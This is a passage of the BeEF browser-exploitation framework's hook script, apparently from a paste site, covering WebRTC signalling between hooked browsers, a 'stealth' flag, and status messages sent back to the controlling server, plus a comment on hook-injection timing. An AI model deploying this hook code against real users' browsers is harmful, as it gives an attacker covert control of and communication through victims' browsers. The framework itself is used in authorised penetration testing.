  10715. // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
  10716. Beefwebrtc.prototype.calleeStart = function() {
  10717. // Callee starts to process cached offer and other messages.
  10718. while (this.msgQueue.length > 0) {
  10719. this.processSignalingMessage(this.msgQueue.shift());
  10720. }
  10721. }
  10722.  
  10723. // Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
  10724. Beefwebrtc.prototype.processSignalingMessage = function(message) {
  10725. if (!this.started) {
  10726. beef.debug('peerConnection has not been created yet!');
  10727. return;
  10728. }
  10729.  
  10730. if (message.type === 'offer') {
  10731. beef.debug("Processing signalling message: OFFER");
  10732. if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
  10733. // version of FF - which no longer works
  10734. beef.debug("Moz shim here");
  10735. globalrtc[this.peerid].setRemoteDescription(
  10736. new RTCSessionDescription(message),
  10737. function() {
  10738. // globalrtc[this.peerid].createAnswer(function(answer) {
  10739. // globalrtc[this.peerid].setLocalDescription(
  10740.  
  10741. var peerid = null;
  10742.  
  10743. for (var k in beefrtcs) {
  10744. if (beefrtcs[k].allgood === false) {
  10745. peerid = beefrtcs[k].peerid;
  10746. }
  10747. }
  10748.  
  10749. globalrtc[peerid].createAnswer(function(answer) {
  10750. globalrtc[peerid].setLocalDescription(
  10751. new RTCSessionDescription(answer),
  10752. function() {
  10753. beefrtcs[peerid].sendSignalMsg(answer);
  10754. },function(error) {
  10755. beef.debug("setLocalDescription error: " + error);
  10756. });
  10757. },function(error) {
  10758. beef.debug("createAnswer error: " +error);
  10759. });
  10760. },function(error) {
  10761. beef.debug("setRemoteDescription error: " + error);
  10762. });
  10763.  
  10764. } else {
  10765. this.setRemote(message);
  10766. this.doAnswer();
  10767. }
  10768. } else if (message.type === 'answer') {
  10769. beef.debug("Processing signalling message: ANSWER");
  10770. if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
  10771. beef.debug("Moz shim here");
  10772. globalrtc[this.peerid].setRemoteDescription(
  10773. new RTCSessionDescription(message),
  10774. function() {},
  10775. function(error) {
  10776. beef.debug("setRemoteDescription error: " + error);
  10777. });
  10778. } else {
  10779. this.setRemote(message);
  10780. }
  10781. } else if (message.type === 'candidate') {
  10782. beef.debug("Processing signalling message: CANDIDATE");
  10783. var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
  10784. candidate: message.candidate});
  10785. this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
  10786. globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
  10787. } else if (message.type === 'bye') {
  10788. this.onRemoteHangup();
  10789. }
  10790. }
  10791.  
  10792. // Used to set the RTC remote session
  10793. Beefwebrtc.prototype.setRemote = function(message) {
  10794. globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
  10795. this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
  10796. }
  10797.  
  10798. // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
  10799. Beefwebrtc.prototype.doAnswer = function() {
  10800. beef.debug('Sending answer to peer.');
  10801. globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
  10802. }
  10803.  
  10804. // Helper method to determine what kind of ICE Candidate we've received
  10805. Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
  10806. if (candidateSDP.indexOf("typ relay ") >= 0)
  10807. return "TURN";
  10808. if (candidateSDP.indexOf("typ srflx ") >= 0)
  10809. return "STUN";
  10810. if (candidateSDP.indexOf("typ host ") >= 0)
  10811. return "HOST";
  10812. return "UNKNOWN";
  10813. }
  10814.  
  10815. // Event handler for successful addition of ICE Candidates
  10816. Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
  10817. beef.debug('AddIceCandidate success.');
  10818. }
  10819.  
  10820. // Event handler for unsuccessful addition of ICE Candidates
  10821. Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
  10822. beef.debug('Failed to add Ice Candidate: ' + error.toString());
  10823. }
  10824.  
  10825. // If a peer hangs up (we bring down the peerconncetion via the stop() method)
  10826. Beefwebrtc.prototype.onRemoteHangup = function() {
  10827. beef.debug('Session terminated.');
  10828. this.initiator = 0;
  10829. // transitionToWaiting();
  10830. this.stop();
  10831. }
  10832.  
  10833. // Bring down the peer connection
  10834. Beefwebrtc.prototype.stop = function() {
  10835. this.started = false; // we're no longer started
  10836. this.signalingReady = false; // signalling isn't ready
  10837. globalrtc[this.peerid].close(); // close the RTCPeerConnection option
  10838. globalrtc[this.peerid] = null; // Remove it
  10839. this.msgQueue.length = 0; // clear the msgqueue
  10840. rtcstealth = false; // no longer stealth
  10841. this.allgood = false; // allgood .. NAH UH
  10842. }
  10843.  
  10844. // The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
  10845. // These are the methods which are executed via the custom extension of the hook.js
  10846. beef.webrtc = {
  10847. // Start the RTCPeerConnection process
  10848. start: function(initiator,peer,turnjson,stunservers,verbose) {
  10849. if (peer in beefrtcs) {
  10850. // If the RTC peer is not in a good state, try kickng it off again
  10851. // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
  10852. if (beefrtcs[peer].allgood == false) {
  10853. beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
  10854. beefrtcs[peer].initialize();
  10855. }
  10856. } else {
  10857. // Standard behaviour for new peer connections
  10858. beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
  10859. beefrtcs[peer].initialize();
  10860. }
  10861. },
  10862.  
  10863. // Check the status of all my peers ..
  10864. status: function(me) {
  10865. if (Object.keys(beefrtcs).length > 0) {
  10866. for (var k in beefrtcs) {
  10867. if (beefrtcs.hasOwnProperty(k)) {
  10868. beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
  10869. }
  10870. }
  10871. } else {
  10872. beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
  10873. }
  10874. }
  10875. }
  10876. beef.regCmp('beef.webrtc');
  10877.  
  10878.  
  10879. //
  10880. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  10881. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10882. // See the file 'doc/COPYING' for copying permission
  10883. //
  10884.  
  10885. /*
  10886. Sometimes there are timing issues and looks like beef_init
  10887. is not called at all (always in cross-origin situations,
  10888. for example calling the hook with jquery getScript,
  10889. or sometimes with event handler injections).
  10890.  
  10891. To fix this, we call again beef_init after 1 second.
  10892. Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
  10893. antisnatchor
  10894. */
  10895. //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment